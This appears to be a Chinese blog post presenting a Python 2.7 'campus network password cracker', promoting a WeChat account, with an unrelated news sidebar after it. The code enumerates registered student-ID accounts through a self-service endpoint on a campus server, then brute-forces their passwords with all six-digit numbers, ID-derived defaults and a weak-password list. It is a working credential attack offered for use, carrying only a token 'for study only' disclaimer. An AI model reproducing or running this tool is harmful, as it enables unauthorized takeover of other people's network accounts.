校园网密码破解程序
admin
2023-03-15 13:01:19
0

环境:Python 2.7

#!/usr/bin/env python
#coding=utf8
print "+"*50
print u"功能:简单破解校园网账号"
print u"微信公众号:电脑趣事"
print u"仅供学习交流使用,严禁违法犯罪,否则后果自负"
print "+"*50

import httplib
import urllib
import re


username=[]
httpClient = None
If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]

def Determine():
	nj = int(raw_input("please select a class 15,16,17:").strip())
	start =int(raw_input("please input start(Prompt:1234):").strip())
	end = int(raw_input("please input end(Prompt:5678):").strip())
	
	if (end <=start or (nj != 15 and nj != 16 and nj!=17)):
		print u"输入有误,请重新选择"
		print '='*50
		menu()
		exit()
	else:
		print "please wait a moment "

	#构造学号
	for i in range(start,end):
	    for j in range(0,100):
	        key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))
	        
	        try:
	            params = urllib.urlencode({'key': key_numer})
	            headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
	            httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
	            httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)
	            response = httpClient.getresponse()
	            right_or_wrong = response.read()
	            #正则和判断
	            zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)
	            if len(zhengze) == 1:
	                username.append(key_numer)
	            
	        except Exception, e:
	            print e
	        finally:
	            if httpClient:
	                httpClient.close()
	print "."*50
	print u"在这个范围内已开通的账号有:"
	print ""
	print username
	print "."*50
	return username

def Connect(UserName,PassWord):
	global a
	try:
		params = urllib.urlencode({'name': UserName,'password':PassWord})
		headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
		httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
		httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers)
		response = httpClient.getresponse()
		right_or_wrong = response.read()

		pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)
		if len(pipei)==1:
			a = 0 #判断是否爆破出来的标记
			pass
		else:
			print u"账号:%s\000\000密码:%s"%(UserName,PassWord)
			a = 1
			
	except Exception, e:
		print e
	finally:
		if httpClient:
		    httpClient.close()
	return a

def yanzheng():
	UserName = str(raw_input("please select a username input:").strip())
	for i in range(0,1000000):
		PassWord = str(i).zfill(6)
		Connect(UserName,PassWord)
		if a == 1:
			break
		else:
			pass

def Default_password_single():
	UserName = str(raw_input("please select a username input:").strip())
	PassWord = UserName[3:10]
	Connect(UserName,PassWord)
	if a ==0:
		PassWord = '123456'
		Connect(UserName,PassWord)
		if a==0:
			print u"已经查找完成"

def Default_password_not_single():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])
		PassWord = UserName[3:10]
		Connect(UserName,PassWord)
		if a ==0:
			PassWord = '123456'
			Connect(UserName,PassWord)
			if (i==len(username)-1 and a == 0):
				print u"已经查找完成"

def if_password():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])	
		for j in range(0,len(If_password)):
			PassWord = If_password[j]
			Connect(UserName,PassWord)
			if (i==len(username)-1 and j==len(If_password)-1 and a == 0):
				print u"已经查找完毕"			



def menu():
    print u"欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
    while True:
    	print "*"*50
    	print u"\t(1) 查看已经注册的账号"
    	print u"\t(2) 简单的爆破"
    	print u"\t(3) 默认密码单个查询"
    	print u"\t(4) 默认密码批量查询"
    	print u"\t(5) 弱口令爆破"
    	print "*"*50
        choices = raw_input("Please choices:").strip()
        if len(choices) == 0:
        	continue
        if choices == '1':
        	Determine()
    	elif choices == '2':
    		yanzheng()
    	elif choices == '3':
    		Default_password_single()
    	elif choices == '4':
    		Default_password_not_single()
    	elif choices == '5':
    		if_password()
        else:
            print u"请注意账号安全!"
            exit()


if __name__ == '__main__':
	menu()
	







微信公众号

校园网密码破解程序

相关内容

热门资讯

美国一客机起飞过程中撞上行人,... △资料图当地时间5月9日,央视记者获悉,一架从丹佛国际机场飞往洛杉矶的航班在起飞过程中撞上一名闯入跑...
凤凰女记者战地日记丨这哪里还算... 【编者按】这是凤凰卫视驻伊朗记者李睿的战地日记。她身处德黑兰,既是战争的亲历者,也是观察者。在她的日...
中国发布禁令,禁止美国制裁中国... 2026年4月24日美国发布公告,把中国5家石化企业列入制裁名单,理由是参与或协助伊朗的石油交易,引...
电力系统母线安全保护领域取得关... (来源:中国电力新闻网) 转自:中国电力新闻网 近日,山西铝业自主研发的《弧光保护系统安装优化方法、...
第三届“探索雅安·阅见美好”阅... 近日,由雅安市图书馆主办的第三届“探索雅安·阅见美好”阅读打卡活动在市区三雅园及雅安市图书馆开展。 ...
实验型真空冷冻干燥机选型指南:... 导语:实验型真空冷冻干燥机作为科研、高校及企业研发环节的关键设备,其性能稳定性直接影响物料干燥效率与...
丁薛祥调研华为芯片基础技术研究... 5月8日晚,中央电视台《新闻联播》播出了一则重量级画面:中共中央政治局常委、国务院副总理丁薛祥到访华...
王自如公布智能指环项目 售价或... 【CNMO科技消息】5月9日,据CNMO科技了解,王自如近日通过视频展示其研发的智能指环产品,该产品...
“190元榴莲遭仅退款”商家直... 近日,河南濮阳一销售冷冻榴莲果肉商家在网络平台发视频称,自家生意遭遇买家恶意“仅退款”。虽然售卖榴莲...
一名中国公民被印度边防部队拘捕... 近日,一名在尼泊尔的中国公民在尼泊尔、印度边境地区因误入印境内被印边防部队拘捕。驻加尔各答总领馆再次...